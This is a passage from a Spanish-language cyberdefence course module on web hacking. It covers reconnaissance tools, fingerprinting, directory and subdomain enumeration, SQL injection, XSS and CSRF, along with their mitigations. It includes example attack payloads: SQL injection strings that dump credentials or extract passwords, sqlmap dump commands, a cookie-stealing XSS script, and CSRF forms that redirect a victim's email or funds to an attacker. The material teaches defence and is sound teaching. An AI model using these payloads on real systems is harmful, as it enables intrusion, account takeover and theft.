• Uso de Shodan: para encontrar dispositivos IoT y servidores expuestos con
configuraciones predeterminadas.

28
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Uso de Shodan. Fuente: Shodan.

Herramientas útiles:

• Maltego: permite el mapeo visual de conexiones entre datos, útil para


reconocimiento pasivo en redes sociales y DNS.
• Nmap: ofrece múltiples opciones de escaneo, como scripts NSE para detectar
vulnerabilidades específicas.
• Recon-ng: marco que automatiza el proceso de reconocimiento, integrando API
de diversas fuentes y permitiendo la recopilación de datos en una base de datos
centralizada.

4.10. Técnicas de recolección de información

Este apartado examina las técnicas de recolección de información, también conocidas


como OSINT (Open Source Intelligence), que permiten recopilar datos valiosos sobre un
objetivo utilizando fuentes públicas y abiertas. Estas técnicas ayudan a construir un

29
Curso de Ciberdefensa
Módulo 4 – Hacking Web

perfil inicial del objetivo sin interactuar directamente con él, minimizando el riesgo de
detección.

Las técnicas de recolección de información se enfocan en obtener datos sobre el


objetivo a partir de fuentes accesibles públicamente. Esto incluye registros de dominio,
redes sociales, bases de datos de IP e incluso archivos y documentos públicos que
puedan contener metadatos valiosos. La recolección de información pasiva no genera
tráfico hacia el objetivo y se realiza mediante herramientas que exploran fuentes abiertas
de datos.

OSINT. Fuente: Cronica Seguridad.

Métodos de recolección de información:

1. Google Dorks: utiliza operadores de búsqueda avanzada para localizar


archivos confidenciales, configuraciones expuestas y otros datos sensibles.
Esta técnica aprovecha la indexación de Google para encontrar información
que, aunque sea pública, podría haber sido expuesta por error.

30
Curso de Ciberdefensa
Módulo 4 – Hacking Web

2. Whois: proporciona información sobre el registro de un dominio, incluyendo


detalles sobre el propietario del dominio, servidores DNS asociados y detalles
de contacto del administrador. Es útil para construir un perfil de la
infraestructura web del objetivo.

Uso de Whois online. Fuente: [Link].

3. Shodan: es un motor de búsqueda para dispositivos conectados a internet.


Permite descubrir servidores, routers, cámaras y otros dispositivos que están
expuestos a través de internet y que podrían estar mal configurados o ser
vulnerables.
4. Recopilación de metadatos: herramientas como Foca extraen metadatos de
documentos, revelando detalles sobre el software utilizado, nombres de
usuarios, rutas de archivos y configuraciones internas que podrían ser
explotadas.

31
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Ejemplos prácticos:

• Investigación de redes sociales: recolectar información sobre empleados,


tecnologías en uso y otros detalles públicos de redes como LinkedIn y Twitter.
• Búsqueda de archivos sensibles con Google Dorks: utilizar consultas avanzadas
para encontrar archivos como filetype:xls site:[Link], que podrían revelar
datos internos no protegidos.

Herramientas útiles:

• Maltego: herramienta que permite visualizar conexiones y relaciones entre


personas, dominios, IPs y más, proporcionando una representación gráfica de los
datos recolectados.
• Recon-ng: marco modular que automatiza la recolección de datos desde diversas
fuentes públicas, permitiendo realizar búsquedas de Whois, Shodan y otras
fuentes desde una sola herramienta.
• Foca: analiza documentos públicos (PDF, Word, etc.) en busca de metadatos que
puedan revelar información sensible del sistema y los usuarios.

4.11. Fingerprinting de servidores y aplicaciones

Este capítulo aborda las técnicas de fingerprinting o identificación de servidores y


aplicaciones, que son esenciales para determinar las versiones de software, sistemas
operativos y servicios que se ejecutan en el objetivo. Esta información es crucial para
identificar vulnerabilidades específicas y planificar ataques dirigidos.

El fingerprinting es el proceso de recolectar información sobre los sistemas y las


aplicaciones de un objetivo para identificar sus características específicas. Esto se hace
mediante el análisis de respuestas HTTP, encabezados y comportamientos del sistema
que revelan detalles sobre el software y la configuración. El fingerprinting permite a los
evaluadores de seguridad conocer la infraestructura del objetivo y entender mejor el
entorno en el que operan.

32
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Métodos de fingerprinting:

1. Fingerprinting de servidores: utiliza técnicas como el Banner Grabbing para


obtener banners de los servicios en puertos específicos, revelando
información sobre el tipo y la versión del servidor web (Apache, Nginx, etc.) y
el sistema operativo subyacente.
2. Fingerprinting de aplicaciones web: herramientas como WhatWeb y
Wappalyzer permiten identificar tecnologías web y aplicaciones que están en
uso, como CMS (WordPress, Joomla), frameworks (Laravel, Django), y
bibliotecas JavaScript.
3. Análisis de encabezados HTTP: los encabezados HTTP a menudo contienen
detalles que pueden ayudar a identificar la versión del servidor, el sistema
operativo y las configuraciones de seguridad, lo que es útil para identificar
posibles vulnerabilidades.

Análisis de encabezados HTTP con Burpsite. Fuente: Burpsite.

33
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Ejemplos prácticos de fingerprinting:

• Uso de WhatWeb para identificar aplicaciones: ejecutar un escaneo en un sitio


web para obtener un listado de tecnologías utilizadas, como la versión del CMS o
el marco de JavaScript en uso.
• Banner Grabbing con Netcat: conectar directamente a un puerto abierto en el
servidor para obtener el banner de respuesta, que puede incluir detalles sobre el
sistema operativo y el servidor web.
Herramientas útiles:

• Nmap: ofrece scripts NSE (Nmap Scripting Engine) que permiten realizar
fingerprinting avanzado de servicios, identificando versiones exactas y
detectando software obsoleto.
• WhatWeb: herramienta que analiza respuestas HTTP para identificar tecnologías
y aplicaciones en uso, ideal para obtener un perfil completo del objetivo.
• Netcat: utilizada para conectarse a servicios en puertos específicos y extraer
información de banners, útil para el fingerprinting inicial de servidores.

4.12. Enumeración de aplicaciones web

En este apartado, se examinan las técnicas de enumeración de aplicaciones web, que


permiten descubrir directorios, archivos y otros recursos de una aplicación web. Este
proceso es esencial para mapear la estructura completa de un sitio y encontrar posibles
puntos de entrada que no son visibles a simple vista.

La enumeración de aplicaciones web implica el uso de herramientas de fuerza bruta y


consultas para identificar rutas y archivos adicionales que puedan estar ocultos o no
indexados. A través de estas técnicas, se puede acceder a archivos de configuración,
directorios de administración y otros recursos que podrían contener información valiosa
o sensible. Este proceso es crucial para comprender cómo está estructurada la aplicación
web y para detectar cualquier vulnerabilidad potencial en recursos adicionales.

34
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Técnicas de enumeración de rutas y archivos:

• Fuerza bruta de directorios con Gobuster: utiliza listas de palabras específicas


para buscar directorios y archivos ocultos en el servidor web.
• Exploración de drectorios con Dirb: a través de técnicas de fuerza bruta, Dirb
revela rutas no visibles, como archivos de respaldo (.bak) y directorios
administrativos (/admin).

Ejemplos prácticos:

• Uso de Gobuster para descubrir rutas ocultas: ejecutar Gobuster con una lista de
palabras para identificar rutas como /backup, /admin y archivos como [Link].

Uso de Gobuster. Fuente: Gobuster.

• Exploración de directorios con Dirb: mediante fuerza bruta, Dirb permite


identificar archivos críticos y rutas que podrían exponer datos sensibles.

Herramientas útiles:

• Gobuster: realiza búsquedas rápidas de directorios y archivos mediante fuerza


bruta en servidores web.
• Dirb: herramienta ideal para descubrir rutas y archivos mediante el uso de listas
predefinidas.

35
Curso de Ciberdefensa
Módulo 4 – Hacking Web

• Ffuf: herramienta avanzada de fuerza bruta que permite explorar servidores web
en busca de rutas y archivos ocultos.

4.13. Enumeración de subdominios

En este apartado, se explora la enumeración de subdominios, una técnica que permite


identificar dominios secundarios asociados al dominio principal de una aplicación web.
Esta práctica es esencial para descubrir servicios adicionales y posibles puntos de acceso
que podrían estar menos protegidos.

La enumeración de subdominios es el proceso de identificación de extensiones del


dominio principal, que pueden alojar servicios específicos o diferentes módulos de la
aplicación. Estos subdominios pueden ser descubiertos mediante consultas a servicios
DNS, análisis de certificados SSL y técnicas de fuerza bruta. Esta información es vital para
mapear la infraestructura completa de una aplicación web y para descubrir servicios que
podrían ser vulnerables.

Técnicas de enumeración de subdominios:

• Fuerza bruta y consultas DNS: herramientas como Sublist3r y Amass exploran


registros DNS y aplican técnicas de fuerza bruta para identificar subdominios.
• Certificados SSL y servicios públicos: plataformas como [Link] permiten buscar
subdominios en certificados SSL, revelando servicios adicionales que podrían no
estar documentados.
• Ffuf: herramienta avanzada de fuerza bruta que permite explorar servidores web
en busca de subdominios.

36
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Uso de Ffuf. Fuente: Ffuf.

Ejemplos prácticos:

• Uso de Sublist3r para encontrar subdominios activos: ejecutar un escaneo en


Sublist3r para obtener una lista de subdominios asociados al dominio principal.
• Búsqueda de subdominios en registros SSL con [Link]: utilizar [Link] para buscar
subdominios registrados en certificados SSL, lo cual puede revelar servicios
adicionales.

Herramientas útiles:

• Sublist3r: herramienta popular para la enumeración de subdominios, útil para


obtener una lista completa de servicios asociados.
• Amass: combina técnicas activas y pasivas para mapear redes y descubrir
subdominios relacionados.
• [Link]: permite buscar subdominios asociados a un dominio mediante registros
públicos de certificados SSL.

37
Curso de Ciberdefensa
Módulo 4 – Hacking Web

4.14. Descubrimiento de rutas y archivos

En este apartado, se explorarán las técnicas utilizadas para descubrir rutas y archivos
ocultos en una aplicación web. Identificar estos recursos permite mapear la estructura
del sitio y encontrar archivos que, aunque no son visibles para los usuarios, pueden ser
accesibles y podrían contener información sensible o representar un riesgo de seguridad.

El descubrimiento de rutas y archivos consiste en emplear herramientas de fuerza bruta


y listas de palabras específicas para detectar directorios y archivos que no son visibles a
través de la navegación normal. Estos archivos pueden incluir configuraciones, respaldos
o directorios de administración, que podrían contener información valiosa para un
atacante.

Técnicas de descubrimiento de rutas y archivos:

• Fuerza bruta con Gobuster: utiliza listas de palabras específicas para buscar
directorios y archivos en un servidor web, como archivos de configuración y
carpetas de respaldo.
• Análisis de directorios con Dirb: Dirb permite identificar archivos y directorios
mediante fuerza bruta, revelando recursos ocultos que no son accesibles
directamente desde la navegación del sitio.

Ejemplos prácticos:

• Escaneo de rutas con Gobuster: ejecutar un escaneo en un servidor web para


encontrar rutas sensibles, como /admin, /backup o archivos de configuración
como [Link].
• Descubrimiento de archivos de respaldo: utilizar Dirb con listas de palabras clave
para identificar archivos de respaldo que pueden contener datos sensibles.

38
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Uso de Dirbuster. Fuente: Dirbuster.

Herramientas útiles:

• Gobuster: herramienta rápida de fuerza bruta para encontrar directorios y


archivos ocultos.
• Dirb: realiza búsquedas exhaustivas de directorios y archivos mediante listas de
palabras.
• Ffuf: herramienta avanzada para realizar búsquedas personalizadas de directorios
en servidores web.

4.15. Inyección SQL

En este apartado, se estudiarán los fundamentos de la inyección SQL, una vulnerabilidad


que permite a un atacante manipular las consultas SQL enviadas a una base de datos.
Este tipo de ataque puede resultar en el acceso, la modificación o la eliminación de datos

39
Curso de Ciberdefensa
Módulo 4 – Hacking Web

críticos, representando una amenaza significativa para las aplicaciones web que no
validan adecuadamente sus entradas.

La inyección SQL ocurre cuando una aplicación inserta de manera insegura datos
proporcionados por el usuario en una consulta SQL. Esta vulnerabilidad se puede
explotar para alterar las consultas y obtener acceso no autorizado a la base de datos,
manipular datos y, en algunos casos, comprometer el servidor completo. Los ataques de
inyección SQL pueden realizarse mediante varios tipos y técnicas que se detallarán en
los siguientes epígrafes.

Inyección SQL. Fuente: Avast.

4.15.1. Conceptos y tipos de inyección SQL

En este apartado, se examinan los conceptos y tipos de inyección SQL, una de las
vulnerabilidades más explotadas en aplicaciones web. Cada tipo de inyección SQL
representa un enfoque diferente para manipular consultas SQL y obtener acceso no
autorizado a datos. Se presentarán tanto la estructura de estos ataques como ejemplos
detallados para comprender mejor su funcionamiento y su potencial impacto.

40
Curso de Ciberdefensa
Módulo 4 – Hacking Web

La inyección SQL ocurre cuando una aplicación permite que datos no validados del
usuario se inserten en una consulta SQL. Dependiendo de cómo la aplicación maneje las
entradas, el atacante puede aprovechar diferentes tipos de inyección SQL para manipular
las consultas y extraer, modificar o eliminar datos en la base de datos. Cada tipo tiene un
enfoque específico y se usa en diferentes escenarios.

Tipos de inyección SQL

1. Inyección SQL clásica (directa)

Este tipo de inyección SQL permite a los atacantes insertar directamente comandos SQL
en campos de entrada de la aplicación. Es muy común en formularios de inicio de sesión,
campos de búsqueda y cualquier otro punto donde se ingresen datos que luego son
procesados por una consulta SQL. La inyección SQL clásica es una de las formas más
directas y efectivas de explotar una vulnerabilidad SQL, siempre que el servidor no
valide ni filtre adecuadamente los datos de entrada.

o Ejemplo de inyección clásica en un formulario de inicio de sesión:

En un formulario de inicio de sesión, con una consulta SQL se verifica el usuario y la


contraseña:

SELECT * FROM users WHERE username = 'user' AND password = 'pass';

Si el atacante ingresa:

user: admin' OR '1'='1

pass: anypassword

La consulta se transforma en:

SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password =


'anypassword';

La condición OR '1'='1' siempre es verdadera, lo que puede permitir el acceso a la cuenta


de administrador sin necesidad de conocer la contraseña real.

41
Curso de Ciberdefensa
Módulo 4 – Hacking Web

▪ Impacto:

Este tipo de inyección SQL puede llevar a la autenticación no autorizada, aludir


restricciones de acceso y permitir al atacante acceder a datos confidenciales, modificar
registros y realizar acciones no autorizadas.

2. Blind SQL Injection (inyección ciega)

La inyección ciega se utiliza cuando la aplicación no devuelve mensajes de error


detallados. En lugar de recibir mensajes de error que den pistas, el atacante debe inferir
la estructura de la base de datos a partir de respuestas booleanas (verdadero/falso) o de
tiempos de respuesta. La inyección ciega es más complicada de explotar, pero es
igualmente poderosa cuando se ejecuta correctamente.

Tipos de Blind SQL Injection:

o Boolean-based Blind SQL Injection: manipula la consulta para obtener respuestas


de verdadero o falso, lo que permite extraer información poco a poco. Esta técnica
suele utilizar condiciones que devuelven un resultado válido o un error, según el
dato que se esté verificando.
▪ Ejemplo:

SELECT * FROM users WHERE username = 'admin' AND SUBSTRING(password,


1, 1) = 'a';

Si la respuesta es verdadera, el atacante sabe que la primera letra de la contraseña


de admin es «a». Este proceso se repite hasta obtener la contraseña completa.

o Time-based Blind SQL Injection: utiliza comandos que provocan retrasos en la


respuesta del servidor, como SLEEP() en MySQL, para deducir información de la
base de datos en función del tiempo de espera. Esta técnica es útil cuando no hay
respuesta visible, pero el atacante puede medir los tiempos de respuesta del
servidor.

▪ Ejemplo:

42
Curso de Ciberdefensa
Módulo 4 – Hacking Web

SELECT * FROM users WHERE username = 'admin' AND


IF(SUBSTRING(password, 1, 1) = 'a', SLEEP(5), 'false');

Si la respuesta tarda en llegar, el atacante sabe que la primera letra de la


contraseña es «a».

▪ Impacto:

Los ataques ciegos pueden ser más lentos, ya que los datos se extraen bit a bit,
pero son extremadamente efectivos en sistemas bien protegidos donde no se
devuelven mensajes de error. Este método permite a los atacantes obtener datos
confidenciales sin necesidad de ver respuestas visibles.

o Error-based SQL Injection (basada en errores): la inyección basada en errores


explota los mensajes de error de la base de datos para obtener detalles sobre la
estructura de la base de datos, nombres de tablas, columnas y otros metadatos.
Al provocar errores intencionalmente, el atacante puede obtener información útil
que normalmente no se mostraría al usuario final.

▪ Ejemplo de Error-based SQL Injection:

Al intentar realizar una operación inválida, el atacante puede forzar un mensaje de


error que revele la estructura interna de la base de datos:

SELECT * FROM products WHERE id = 1' AND EXTRACTVALUE(1, CONCAT(0x3a,


(SELECT user()))) -- ;

Si se obtiene un mensaje de error que incluye el nombre de usuario de la base de datos,


el atacante ha confirmado que la inyección fue exitosa y puede extraer más datos
estructurales.

▪ Impacto:

El atacante puede obtener información valiosa sobre la estructura y la configuración de


la base de datos que puede utilizar para realizar ataques más específicos y peligrosos.

43
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Además, estos ataques son rápidos y fáciles de realizar si los mensajes de error no están
controlados adecuadamente.

▪ Ejemplos prácticos en diferentes entornos de bases de datos:

o MySQL: los comandos como SLEEP() y BENCHMARK() son útiles para realizar
ataques basados en tiempo.
o PostgreSQL: la función pg_sleep() puede usarse de manera similar a SLEEP() en
MySQL para inyecciones ciegas basadas en tiempo.
o Microsoft SQL Server: WAITFOR DELAY '00:00:05' introduce una pausa en la
ejecución, ideal para pruebas de inyección ciega.

4.15.2. Técnicas de explotación en inyección SQL

Este apartado profundiza en las técnicas avanzadas de explotación de inyección SQL.


Conocer estos métodos es esencial para comprender cómo los atacantes manipulan
consultas SQL para obtener acceso no autorizado, extraer datos y modificar registros. Se
describen las técnicas más comunes, como Union-based, Error-based, Boolean-based y
Time-based, cada una con su enfoque y sus ejemplos prácticos.

La explotación de una vulnerabilidad de inyección SQL depende del tipo de base de


datos y de los puntos de entrada disponibles. Cada técnica tiene su propio enfoque y sus
propios objetivos, desde la obtención directa de datos hasta la explotación de demoras
para deducir información sensible. A continuación, se presentan las principales técnicas
de explotación:

Técnicas de explotación de inyección SQL

1. Union-based SQL Injection

Esta técnica utiliza la cláusula UNION para combinar el resultado de múltiples consultas
SQL y obtener datos de diferentes tablas de la base de datos. El atacante puede extraer

44
Curso de Ciberdefensa
Módulo 4 – Hacking Web

datos adicionales combinando la consulta original con otras que devuelven la información
deseada.

• Proceso de explotación:

o Identificar el número de columnas en la consulta original, probando


diferentes números con ORDER BY.
o Construir la consulta final con UNION SELECT, asegurándose de que el
número de columnas coincida.
o Extraer datos sensibles, como username, password y otros campos de
interés.

• Ejemplo:

SELECT name, description FROM products WHERE id = 1 UNION SELECT username,


password FROM users;

Si la consulta original tiene dos columnas, el atacante puede insertar UNION SELECT
username, password FROM users para exponer credenciales de usuario.

2. Error-based SQL Injection

En esta técnica, el atacante provoca errores intencionales en la consulta para obtener


mensajes de error que revelen detalles estructurales de la base de datos, como nombres
de tablas, columnas e incluso datos específicos.

• Proceso de explotación:

o Modificar la consulta para forzar un error que incluya datos sensibles


en el mensaje de error.

o Usar funciones que provoquen errores y concatenen resultados.

• Ejemplo:

45
Curso de Ciberdefensa
Módulo 4 – Hacking Web

SELECT * FROM users WHERE id = 1 AND CONVERT(int, (SELECT @@version));

Si la consulta provoca un error, el mensaje de error puede revelar la versión del servidor
SQL.

3. Boolean-based SQL Injection

Esta técnica no muestra resultados directamente, sino que deduce la existencia de datos
mediante respuestas de verdadero/falso. El atacante prueba condiciones booleanas que
devuelven datos válidos o nulos, lo que le permite inferir información sensible de la base
de datos.

• Proceso de explotación:

o Manipular las condiciones en la consulta para verificar la existencia de


datos específicos, basándose en respuestas que confirmen verdadero o
falso.
o Repetir el proceso para extraer información bit a bit.

• Ejemplo:

SELECT * FROM users WHERE id = 1 AND SUBSTRING((SELECT password FROM users


WHERE username='admin'), 1, 1) = 'a';

Si la consulta devuelve un resultado, el atacante sabe que la primera letra de la


contraseña de admin es «a».

4. Time-based SQL Injection

Usada en situaciones donde no se recibe una retroalimentación directa, esta técnica se


basa en demoras de tiempo. El atacante usa funciones que introducen pausas, como
SLEEP() en MySQL, para inferir datos de la base de datos en función de las demoras.

• Proceso de explotación:

46
Curso de Ciberdefensa
Módulo 4 – Hacking Web

o Utilizar SLEEP() o comandos similares para provocar una demora en el


servidor.
o Interpretar los tiempos de respuesta para deducir la validez de las
condiciones y extraer datos.

• Ejemplo:

SELECT * FROM users WHERE id = 1 AND IF(SUBSTRING((SELECT password FROM


users WHERE username='admin'), 1, 1) = 'a', SLEEP(5), 'false');

Si la respuesta se retrasa, el atacante sabe que la primera letra de la contraseña de admin


es «a».

4.15.3. Herramientas y métodos de detección de inyecciones SQL

Este apartado describe las herramientas y los métodos más efectivos para detectar
inyecciones SQL en aplicaciones web. Las herramientas automatizadas, como SQLmap y
Burp Suite, junto con métodos manuales, permiten identificar rápidamente
vulnerabilidades SQL y evaluar su impacto.

Detectar inyecciones SQL implica analizar las entradas de usuario, las consultas SQL
generadas y las respuestas del servidor. Las herramientas automatizadas pueden realizar
escaneos exhaustivos en poco tiempo, pero los métodos manuales también son
esenciales para validar los resultados y examinar casos específicos de forma más
profunda.

Herramientas para la detección de inyección SQL

1. SQLmap

SQLmap es una herramienta de código abierto que automatiza el proceso de detección


y explotación de inyecciones SQL. Es compatible con múltiples tipos de bases de datos y
permite detectar automáticamente diferentes tipos de inyecciones.

47
Curso de Ciberdefensa
Módulo 4 – Hacking Web

• Funciones destacadas:

o Detección automática de tipos de inyección SQL y explotación.


o Soporte para bases de datos MySQL, PostgreSQL, Oracle y MSSQL,
entre otras.
o Funcionalidades avanzadas como el uso de proxies, técnicas de evasión,
y escaneo profundo con niveles de riesgo ajustables.

• Comandos útiles:

sqlmap -u "[Link] --dbs

sqlmap -u "[Link] –dump

Ejemplo SQLmap. Fuente: ICM.

2. Burp Suite

48
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Burp Suite es una herramienta completa para pruebas de seguridad de aplicaciones web.
Su funcionalidad incluye el análisis automatizado de inyecciones SQL mediante
extensiones como SQLiPy y el uso de Burp Intruder para pruebas personalizadas.

• Funciones destacadas:

o Integración con extensiones para pruebas avanzadas de inyección SQL.


o Captura y manipulación de solicitudes HTTP para insertar manualmente
payloads SQL.
o Generación de reportes detallados y análisis en tiempo real de
vulnerabilidades.

• Extensiones para SQL Injection:

o SQLiPy: extensión para realizar pruebas automatizadas de inyección


SQL.
o SQLmap: integración de SQLmap en Burp Suite para análisis y
explotación directamente desde el proxy.
3. OWASP ZAP

OWASP ZAP (Zed Attack Proxy) es una herramienta gratuita para pruebas de
penetración en aplicaciones web. Ofrece capacidades de detección automática de
inyecciones SQL y soporte para pruebas manuales mediante scripts personalizados.

• Funciones destacadas:

o Escaneo automático y generación de reportes de vulnerabilidades,


incluyendo inyecciones SQL.
o Scripts personalizados para el análisis detallado de inyecciones SQL en
puntos específicos.
o Integración con pipelines CI/CD para el análisis continuo.

49
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Owasp Zap. Fuente: Wikipedia.

4. Métodos manuales de detección

Además de las herramientas automatizadas, las pruebas manuales son esenciales para
validar y profundizar en posibles vulnerabilidades. Consisten en enviar consultas SQL de
prueba, como ' OR '1'='1, y observar las respuestas y los mensajes de error que pueden
confirmar la vulnerabilidad.

• Ejemplo de prueba manual:

o En un campo de entrada, insertar ' OR '1'='1 y analizar la respuesta del


servidor.
o Verificar respuestas en tiempos de respuesta, mensajes de error y
diferencias en los resultados obtenidos.

50
Curso de Ciberdefensa
Módulo 4 – Hacking Web

• Ejemplos prácticos:

o Detección con SQLmap: ejecutar SQLmap en una aplicación para


identificar tipos específicos de inyección SQL y explorar las bases de
datos.
o Prueba manual con Burp Suite: usar Burp Intruder para insertar
diferentes payloads y observar las respuestas, validando si la aplicación
es vulnerable.

4.16. Cross-Site Scripting (XSS), tipos de (XSS), explotación y mitigación y


ejemplos prácticos

En este apartado, se analizarán los diferentes tipos de vulnerabilidades de Cross-Site


Scripting (XSS), las técnicas comunes de explotación y los métodos avanzados de
mitigación. El XSS es una vulnerabilidad crítica que permite a un atacante inyectar
scripts maliciosos en la página web de una víctima, exponiendo datos sensibles o
manipulando el contenido web. La comprensión de los tipos de XSS y las técnicas de
mitigación es fundamental para asegurar aplicaciones web contra este tipo de ataques.

Tipos de XSS

1. XSS reflejado (non-persistent):

o En este tipo, el script inyectado se refleja de inmediato en la página como


parte de la respuesta HTTP, lo que requiere que la víctima haga clic en un
enlace malicioso. El código malicioso no se almacena en el servidor, lo que
hace que su alcance esté limitado al usuario que accede al enlace.
o Escenario: un atacante envía un enlace de phishing que incluye un script
en los parámetros de URL. Si la víctima hace clic en el enlace, el script se
ejecuta en el contexto de su sesión.
o Ejemplo: [Link]
Reflejado')</script>

51
Curso de Ciberdefensa
Módulo 4 – Hacking Web

2. XSS persistente (stored):

o El código inyectado se almacena en el servidor y se ejecuta cada vez que


un usuario accede a la página afectada. Esta vulnerabilidad es más grave
porque puede afectar a múltiples usuarios y no requiere de interacción
adicional para ejecutarse.
o Escenario: un atacante inyecta un script malicioso en un campo de
comentarios de un foro. Cada vez que un usuario visualiza el comentario,
el script se ejecuta automáticamente.
o Ejemplo: <script>[Link]='steal_cookie'</script>

3. XSS basado en DOM (DOM-based XSS):

o Este tipo de XSS ocurre cuando la modificación se produce directamente


en el lado del cliente, manipulando el DOM sin interactuar con el servidor.
Se da cuando el JavaScript del lado del cliente utiliza datos no validados del
usuario para actualizar el DOM.
o Escenario: el atacante manipula elementos de la página mediante
JavaScript, afectando la lógica de la aplicación y permitiendo la ejecución
de scripts no autorizados.
o Ejemplo: [Link]([Link](1));

Explotación y mitigación

1. Técnicas de explotación:

o XSS Reflejado: el atacante crea una URL que incluye un script malicioso en
un parámetro, engañando a la víctima para que haga clic en el enlace y
activando el script en su navegador.
o XSS Persistente: el atacante almacena el script en el servidor, por ejemplo,
en un campo de comentarios. Cada vez que otros usuarios cargan la página,
el script se ejecuta sin su conocimiento.

52
Curso de Ciberdefensa
Módulo 4 – Hacking Web

o XSS Basado en DOM: el atacante utiliza métodos del DOM, como


[Link] o eval, para insertar código malicioso directamente en el
navegador.

2. Métodos de mitigación:

o Validación y sanitización de entradas: es fundamental filtrar y eliminar


caracteres peligrosos como <, >, &, y ". Es recomendable validar las
entradas tanto en el cliente como en el servidor.
o Escapar salidas: al mostrar datos en el navegador, escapar adecuadamente
los datos para prevenir la inyección de scripts.
o Content Security Policy (CSP): implementar una política que limite las
fuentes de contenido y permita ejecutar scripts solo de fuentes de
confianza. Evitar el uso de unsafe-inline y otras directivas inseguras.
o Evitar funciones inseguras del DOM: reemplazar funciones peligrosas
como innerHTML y eval por alternativas seguras como textContent y
setAttribute.

Herramientas y recursos para la detección y mitigación de XSS

• Herramientas de prueba:

o Burp Suite: detecta vulnerabilidades XSS y permite manipular solicitudes


para probar diferentes tipos de payloads.
o OWASP ZAP: escanea y detecta automáticamente XSS y proporciona un
entorno para pruebas manuales.
o XSSer: automatiza pruebas de XSS, ayudando a identificar reflejado y
persistente XSS en diferentes aplicaciones web.

53
Curso de Ciberdefensa
Módulo 4 – Hacking Web

4.17. Cross-Site Request Forgery (CSRF), conceptos, explotación y


técnicas de protección

En este apartado se explorarán los conceptos y las técnicas relacionados con Cross-Site
Request Forgery (CSRF), una vulnerabilidad que permite a un atacante forzar a un
usuario autenticado a realizar acciones no autorizadas en una aplicación web. Los
ataques CSRF explotan la confianza que un sitio web tiene en el navegador del usuario
autenticado, lo que puede derivar en la ejecución de transacciones no deseadas, cambios
en la configuración de la cuenta y más. A lo largo de este capítulo, se examinarán los
diferentes métodos de explotación y las estrategias de mitigación para proteger
aplicaciones contra ataques CSRF.

Conceptos y explotación

Cross-Site Request Forgery se basa en el hecho de que los navegadores envían


automáticamente cookies de autenticación y otros datos de sesión con cada solicitud al
servidor. Esto permite que un atacante, mediante un enlace o un formulario malicioso,
induzca al navegador del usuario a realizar una acción como si fuera legítima, ya que se
realiza desde el contexto de una sesión autenticada.

CSRF. Fuente: Hackmetrix.

54
Curso de Ciberdefensa
Módulo 4 – Hacking Web

1. Explotación mediante formularios ocultos:

o Un atacante inserta un formulario en una página controlada por él,


configurado para enviar una solicitud al servidor en cuanto se carga la
página o con la interacción del usuario. El formulario puede tener campos
ocultos que contienen datos que modificarán el estado del usuario en el
servidor.
o Ejemplo:

<form action="[Link]
method="POST">
<input type="hidden" name="email"
value="attacker@[Link]">
<input type="hidden" name="csrf_token" value="">
<script>[Link][0].submit();</script>
</form>

2. Explotación mediante imágenes y enlaces maliciosos:

o En ataques menos complejos, el atacante puede insertar un enlace o una


etiqueta de imagen que apunte a una URL en la que se ejecuta una acción
no autorizada. Esto se puede incluir en correos electrónicos de phishing o
sitios web que el usuario visita.
o Ejemplo:

<img src="[Link]
[Link]/transfer?amount=1000&to=attacker_account">

o Explicación: cuando el usuario visita la página con el código, el navegador


envía una solicitud GET al servidor, ejecutando el cambio.

55
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Técnicas de protección

1. Tokens anti-CSRF:

Los tokens anti-CSRF son cadenas únicas y difíciles de predecir que se envían con cada
solicitud sensible, y que el servidor verifica antes de procesar la solicitud. Si el token no
está presente o no coincide, la solicitud se rechaza. Esto asegura que solo puedan ser
procesadas las solicitudes legítimas.

o Implementación:

<input type="hidden" name="csrf_token"


value="unique_token_value">
o En el servidor: verificar que el token recibido coincida con el almacenado
en la sesión del usuario.

2. SameSite cookies:

Las cookies configuradas como SameSite solo se envían en solicitudes provenientes del
mismo sitio. Esto evita que las cookies se incluyan en solicitudes de terceros, reduciendo
así el riesgo de ataques CSRF.

o Configuración de SameSite en una cookie:

Set-Cookie: sessionid=abc123; SameSite=Strict;

3. Verificación de Referer y Origin:

Al verificar el encabezado Referer o Origin, el servidor puede asegurarse de que la


solicitud proviene de una página autorizada. Esto ayuda a detectar y bloquear solicitudes
que provienen de sitios externos.

o Ejemplo en código:

if [Link]['Referer'] != '[Link]
abort(403)

4. Implementación de autenticación de dos factores (2FA):

56
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Aunque no elimina por completo la vulnerabilidad CSRF, la autenticación de dos factores


agrega una capa adicional de seguridad para transacciones críticas. Esto puede evitar
que un atacante realice acciones que requieren la verificación adicional del usuario.

Ejemplos prácticos y casos de estudio

1. Ejemplo de CSRF en configuración de cuenta:

o Escenario: un atacante engaña a un usuario autenticado para que haga clic


en un enlace malicioso que cambia su dirección de correo electrónico en
un sitio web:

<a href="[Link]
[Link]/change_email?new_email=attacker@[Link]">Click
me!</a>

o Explicación: al hacer clic en el enlace, el navegador envía automáticamente


la cookie de sesión y el servidor procesa la solicitud de cambio de correo
electrónico como si fuera legítima.

2. Ejemplo de transferencia no autorizada con CSRF:

o Escenario: un atacante incluye una imagen maliciosa en un foro de


discusión. Cuando el usuario carga la imagen, el navegador realiza una
transferencia de fondos sin que el usuario se percate:

<img src="[Link]

o Explicación: esta técnica de explotación es efectiva porque los


navegadores cargan las imágenes automáticamente y envían las cookies de
sesión junto con la solicitud.

Herramientas y recursos para la detección y mitigación de CSRF

• Herramientas de prueba:

57
Curso de Ciberdefensa
Módulo 4 – Hacking Web

o Burp Suite: permite simular ataques CSRF mediante la manipulación de


solicitudes y agregar formularios ocultos.
o OWASP ZAP: ofrece una función de escaneo que ayuda a detectar
endpoints vulnerables a CSRF, permitiendo añadir y verificar tokens
manualmente.

4.18. File inclusión (LFI/RFI), conceptos y técnicas, métodos de


explotación y mitigación

En este apartado, se explorarán las vulnerabilidades de inclusión de archivos, Local File


Inclusion (LFI) y Remote File Inclusion (RFI). Estas vulnerabilidades permiten a un
